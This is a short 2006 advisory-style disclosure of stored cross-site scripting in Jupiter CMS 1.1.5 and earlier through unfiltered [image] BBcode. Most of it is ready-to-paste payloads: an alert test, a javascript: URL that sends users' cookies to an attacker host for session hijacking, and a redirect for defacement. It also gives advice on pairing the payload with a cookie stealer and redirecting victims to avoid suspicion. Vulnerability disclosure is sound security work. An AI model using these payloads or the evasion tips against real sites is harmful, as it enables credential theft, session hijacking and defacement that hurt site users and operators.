Jupiter CMS <= 1.1.5 multiple XSS attack vectors. Discovered by: Nomenumbra/[0x4F4C] Date: 3/11/2006 impact:high (privilege escalation,site defacement) Jupiter CMS (http://www.highstrike.net/) is a dynamic CMS system like mambo or limbo, allowing users to subscribe and posts events. Because no filtering is done upon [image] BBcode input, any user is capable of inserting arbitrary javascript code, allowing for credential theft leading/session hijacking and possibly site defacement. Examples: This would make a messagebox pop up saying 'XSS', whenever the events get loaded (on the main page, calender,etc): [image=javascript:alert('XSS')] This would allow an attacker to steal session ID's, which he could insert into his own cookie to hijack sessions and elevate his/her privileges: [image=javascript:window.navigate('http://www.evilhost.com/cookiestealer .php?c='+document.cookie)] It would be used with SjaakRake's cookie stealer (http://www.milw0rm.com/exploits/1103), with maybe the addition of a header("location: ".<anythinghere>), to redirect the user to a page of your choice, to avoid suspicion and disclosure of your cookiestealer's location. This injections would allow an attacker to redirect users to a page of his choice, effectively defacing the page: [image=javascript:window.navigate('http://www.evilhost.com/pwned.html')] As you can see the possibilities are limitless, as long as you have a bit of fantasy!
